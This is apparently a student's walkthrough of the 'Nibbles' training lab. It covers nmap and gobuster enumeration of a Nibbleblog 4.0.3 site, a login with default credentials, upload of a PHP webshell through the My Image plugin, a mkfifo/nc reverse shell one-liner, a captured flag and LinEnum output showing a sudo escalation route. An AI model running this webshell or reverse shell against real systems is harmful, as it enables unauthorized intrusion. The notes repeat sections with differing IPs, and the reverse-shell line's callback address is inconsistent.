Nibble Enumeration
Initial scan
nmap -sV --open -oA nibbles_initial_scan 10.129.200.170
" ======== about command ========
-sV : service enumeration scan agains teh default port 1,1000 ports.
--open : only return open ports.
-oA : include XML output, greppable format, and text output.
"
This will scan to look for open ports.
┌─[us-academy-3]─[10.10.14.56]─[htb-ac-834467@htb-forxk8tsmw]─[~]
└──╼ [★]$ nmap -sV --open -oA nibbles_initial_scan 10.129.200.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-14 21:43 CDT
Nmap scan report for 10.129.200.170
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds
Bases on the output scan, we can see that
- Expose
Apache
web server on port80
OpenSSH
server on port22
- Host is likely
Ubuntu
linux SSH
is protocol
Try to ls
on home history, as you can see we got 3 new files after our initial scan is done.
┌─[us-academy-3]─[10.10.14.56]─[htb-ac-834467@htb-forxk8tsmw]─[~]
└──╼ [★]$ ls | grep nibble
nibbles_initial_scan.gnmap
nibbles_initial_scan.nmap
nibbles_initial_scan.xml
The file is:
nibbles_initial_scan.gnmap
nibbles_initial_scan.nmap
nibbles_initial_scan.xml
Run full TCP port scan
nmap -p- --open -oA nibbles_full_tcp_scan 10.129.42.190
" ======== about command ========
-p- :
--open : only return open ports.
-oA : include XML output, greppable format, and text output.
"
This will check for services running on non-standard ports that our initial scan that have missed.
┌─[us-academy-3]─[10.10.14.56]─[htb-ac-834467@htb-forxk8tsmw]─[~]
└──╼ [★]$ nmap -p- --open -oA nibbles_full_tcp_scan 10.129.200.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-14 21:56 CDT
Nmap scan report for 10.129.200.170
Host is up (0.24s latency).
Not shown: 62495 closed tcp ports (reset), 3038 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 190.08 seconds
Our scan is finished and has not found any additional port.
Banner grabbing
Do some banner grabbing to confirm result from previous Nmap enumeration result told us.
- The target is running an Apache web server on port
80
┌─[us-academy-3]─[10.10.14.56]─[htb-ac-834467@htb-forxk8tsmw]─[~]
└──╼ [★]$ nc -nv 10.129.200.170 80
(UNKNOWN) [10.129.200.170] 80 (http) open
nc
tells us that port80
running HTTP web server but does not show us the banner.
- The target is running an OpenSSH server on port
22
┌─[us-academy-3]─[10.10.14.56]─[htb-ac-834467@htb-forxk8tsmw]─[~]
└──╼ [★]$ nc -nv 10.129.200.170 22
(UNKNOWN) [10.129.200.170] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
Nmap script scan
nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.42.190
" ======== about command ========
-sC :
-p :
-oA : include XML output, greppable format, and text output.
"
Nibble Web Footprinting
whatweb
➜ WhatWeb git:(master) ./whatweb 10.129.200.170
ERROR Opening: https://10.129.200.170 - Connection refused - connect(2) for "10.129.200.170" port 443
http://10.129.200.170 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170]
curl
➜ WhatWeb git:(master) curl 10.129.200.170
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
➜ WhatWeb git:(master)
whatweb /nibbleblog
➜ WhatWeb git:(master) ./whatweb 10.129.200.170/nibbleblog
http://10.129.200.170/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170], RedirectLocation[http://10.129.200.170/nibbleblog/], Title[301 Moved Perm
anently]
http://10.129.200.170/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.200.170], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
➜ WhatWeb git:(master)
gobuster /nibbleblog/
path
➜ sc ./gobuster/gobuster dir -u http://10.129.200.170/nibbleblog/ --wordlist SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.200.170/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 304]
/.htaccess (Status: 403) [Size: 309]
/.htpasswd (Status: 403) [Size: 309]
/README (Status: 200) [Size: 4628]
/admin (Status: 301) [Size: 327] [--> http://10.129.200.170/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 331] [--> http://10.129.200.170/nibbleblog/languages/]
/plugins (Status: 301) [Size: 329] [--> http://10.129.200.170/nibbleblog/plugins/]
/themes (Status: 301) [Size: 328] [--> http://10.129.200.170/nibbleblog/themes/]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
➜ sc
curl README
➜ sc curl http://10.129.200.170/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog
===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP
Optionals requirements
* PHP module - Mcrypt
check /themes
check nibbleblog/content
private user content
➜ sc curl -s http://10.129.200.170/nibbleblog/content/private/users.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>
➜ sc
additional directory enumeration in the root directory
➜ sc ./gobuster/gobuster dir -u http://10.129.200.170 --wordlist SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.200.170
[+] Method: GET
[+] Threads: 10
[+] Wordlist: SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 293]
/.htpasswd (Status: 403) [Size: 298]
/.htaccess (Status: 403) [Size: 298]
/index.html (Status: 200) [Size: 93]
/server-status (Status: 403) [Size: 302]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
➜ sc
taking another look at other directory
➜ sc curl -s http://10.129.200.170/nibbleblog/content/private/config.xml | xmllint --format -
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config>
<name type="string">Nibbles</name>
<slogan type="string">Yum yum</slogan>
<footer type="string">Powered by Nibbleblog</footer>
<advanced_post_options type="integer">0</advanced_post_options>
<url type="string">http://10.10.10.134/nibbleblog/</url>
<path type="string">/nibbleblog/</path>
<items_rss type="integer">4</items_rss>
<items_page type="integer">6</items_page>
<language type="string">en_US</language>
<timezone type="string">UTC</timezone>
<timestamp_format type="string">%d %B, %Y</timestamp_format>
<locale type="string">en_US</locale>
<img_resize type="integer">1</img_resize>
<img_resize_width type="integer">1000</img_resize_width>
<img_resize_height type="integer">600</img_resize_height>
<img_resize_quality type="integer">100</img_resize_quality>
<img_resize_option type="string">auto</img_resize_option>
<img_thumbnail type="integer">1</img_thumbnail>
<img_thumbnail_width type="integer">190</img_thumbnail_width>
<img_thumbnail_height type="integer">190</img_thumbnail_height>
<img_thumbnail_quality type="integer">100</img_thumbnail_quality>
<img_thumbnail_option type="string">landscape</img_thumbnail_option>
<theme type="string">simpler</theme>
<notification_comments type="integer">1</notification_comments>
<notification_session_fail type="integer">0</notification_session_fail>
<notification_session_start type="integer">0</notification_session_start>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
<notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
<seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
<seo_site_description type="string"/>
<seo_keywords type="string"/>
<seo_robots type="string"/>
<seo_google_code type="string"/>
<seo_bing_code type="string"/>
<seo_author type="string"/>
<friendly_urls type="integer">0</friendly_urls>
<default_homepage type="integer">0</default_homepage>
</config>
➜ sc
guessing the default username and password, try to login using admin:nibbles
Nibble Initial Foothold
try to upload .php file in plugin My Image from admin page using this script
<?php system('id'); ?>
after upload, we got an error, but the file are uploaded successfully
Warning: imagesx() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 26
Warning: imagesy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 27
Warning: imagecreatetruecolor(): Invalid image dimensions in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 117
Warning: imagecopyresampled() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 118
Warning: imagejpeg() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 43
Warning: imagedestroy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 80
now try to get the uploaded image, we can see image location based on the directory that we found from previous step (directory enumeration step), and we found our php code is executed successfully:
➜ nibbles curl http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
craft reverse shell php script
upload and listen the reservse shell
➜ nibbles ncat -nvlp 9443
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9443
Ncat: Listening on 0.0.0.0:9443
trigger image using curl
➜ sc curl http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
listen and we got reverse shell
➜ nibbles ncat -nvlp 9443
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9443
Ncat: Listening on 0.0.0.0:9443
Ncat: Connection from 10.129.200.170:47760.
/bin/sh: 0: can't access tty; job control turned off
$
try to execute command id
, and the result success
➜ nibbles ncat -nvlp 9443
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9443
Ncat: Listening on 0.0.0.0:9443
Ncat: Connection from 10.129.200.170:47760.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$
change to TTY shell using python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
go to home/nibbler and cat the user.txt
,a and we found the flag for initial foothold:
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79c03865431abf47b90ef24b9695e148
nibbler@Nibbles:/home/nibbler$
the flag is 79c03865431abf47b90ef24b9695e148
.
Privilege Escalation
If we check out privilege in reverse shell using command whoami
, it show current user is a not a root user, like below:
nibbler@Nibbles:/home/nibbler$ whoami
whoami
nibbler
nibbler@Nibbles:/home/nibbler$
next we need to escalate it to root
user.
running LinEnum.sh, after running LinEnum.sh, we got information that indicate the user nibble able to execute sudo privilege against file monitor.sh
[-] Super user account(s):
root
[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
[+] Possible sudo pwnage!
/home/nibbler/personal/stuff/monitor.sh
[-] Are permissions on /home directories lax:
total 12K
drwxr-xr-x 3 root root 4.0K Dec 10 2017 .
drwxr-xr-x 23 root root 4.0K Mar 12 2024 ..
drwxr-xr-x 4 nibbler nibbler 4.0K Aug 28 02:16 nibbler
[-] Root is allowed to login via SSH:
PermitRootLogin yes
Nibble FootPrinting
check with WhatWeb
➜ WhatWeb-6.0.1 ./whatweb http://10.129.102.62/
http://10.129.102.62/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.102.62]
check with curl
➜ WhatWeb-6.0.1 curl http://10.129.102.62/
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
curl the nibbleblog path
➜ WhatWeb-6.0.1 ./whatweb http://10.129.102.62/nibbleblog
http://10.129.102.62/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.102.62], RedirectLocation[http://10.129.102.62/nibbleblog/], Title[301 Moved Permanently]
http://10.129.102.62/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.102.62], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
Directory Enumeration
➜ sc ./gobuster/gobuster dir -u http://10.129.102.62/nibbleblog/ --wordlist ~/Documents/sc/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.102.62/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/rvn/Documents/sc/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 303]
/.htpasswd (Status: 403) [Size: 308]
/.htaccess (Status: 403) [Size: 308]
/README (Status: 200) [Size: 4628]
/admin (Status: 301) [Size: 325] [--> http://10.129.102.62/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 327] [--> http://10.129.102.62/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 329] [--> http://10.129.102.62/nibbleblog/languages/]
/plugins (Status: 301) [Size: 327] [--> http://10.129.102.62/nibbleblog/plugins/]
/themes (Status: 301) [Size: 326] [--> http://10.129.102.62/nibbleblog/themes/]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
/README
➜ sc curl http://10.129.102.62/nibbleblog/README 11:54:57 [50/1888]
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog
===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP
So we now know the version of Nibbleblog is v4.0.3
.
/content
/templates
/admin.php
seeing the users.xml
➜ sc curl -s http://10.129.224.196/nibbleblog/content/private/users.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">2</session_fail_count>
<session_date type="integer">1755754989</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.117">
<date type="integer">1755754975</date>
<fail_count type="integer">5</fail_count>
</blacklist>
</users>
now we see valid username
but no password
.
Performing additional directory enumeration against root of web application:
➜ sc ./gobuster/gobuster dir -u http://10.129.224.196/ --wordlist ~/Documents/sc/SecLists/Discovery/Web-Content/
common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.224.196/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /Users/rvn/Documents/sc/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 293]
/.htaccess (Status: 403) [Size: 298]
/.htpasswd (Status: 403) [Size: 298]
/index.html (Status: 200) [Size: 93]
/server-status (Status: 403) [Size: 302]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
checking other files in content/private/config.xml
➜ sc curl -s http://10.129.224.196/nibbleblog/content/private/config.xml | xmllint --format -
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config>
<name type="string">Nibbles</name>
<slogan type="string">Yum yum</slogan>
<footer type="string">Powered by Nibbleblog</footer>
<advanced_post_options type="integer">0</advanced_post_options>
<url type="string">http://10.10.10.134/nibbleblog/</url>
<path type="string">/nibbleblog/</path>
<items_rss type="integer">4</items_rss>
<items_page type="integer">6</items_page>
<language type="string">en_US</language>
<timezone type="string">UTC</timezone>
<timestamp_format type="string">%d %B, %Y</timestamp_format>
<locale type="string">en_US</locale>
<img_resize type="integer">1</img_resize>
<img_resize_width type="integer">1000</img_resize_width>
<img_resize_height type="integer">600</img_resize_height>
<img_resize_quality type="integer">100</img_resize_quality>
<img_resize_option type="string">auto</img_resize_option>
<img_thumbnail type="integer">1</img_thumbnail>
<img_thumbnail_width type="integer">190</img_thumbnail_width>
<img_thumbnail_height type="integer">190</img_thumbnail_height>
<img_thumbnail_quality type="integer">100</img_thumbnail_quality>
<img_thumbnail_option type="string">landscape</img_thumbnail_option>
<theme type="string">simpler</theme>
<notification_comments type="integer">1</notification_comments>
<notification_session_fail type="integer">0</notification_session_fail>
<notification_session_start type="integer">0</notification_session_start>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
<notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
<seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
<seo_site_description type="string"/>
<seo_keywords type="string"/>
<seo_robots type="string"/>
<seo_google_code type="string"/>
<seo_bing_code type="string"/>
<seo_author type="string"/>
<friendly_urls type="integer">0</friendly_urls>
<default_homepage type="integer">0</default_homepage>
</config>
Nibbles - Initial Foothold
- try to upload vuln php
<?php system('id'); ?>
. - we success upload, but got many error on the web page.
Warning: imagesx() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 26
Warning: imagesy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 27
Warning: imagecreatetruecolor(): Invalid image dimensions in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 117
Warning: imagecopyresampled() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 118
Warning: imagejpeg() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 43
Warning: imagedestroy() expects parameter 1 to be resource, boolean given in /var/www/html/nibbleblog/admin/kernel/helpers/resize.class.php on line 80
- curl the uploaded image, and looks like we got the remote code execution on the web server.
➜ sc curl http://10.129.224.196/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
- edit php file for reverse shell
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.129.224.196 9443 >/tmp/f"); ?>
- netcat listen in our terminal
nc -lvnp 9443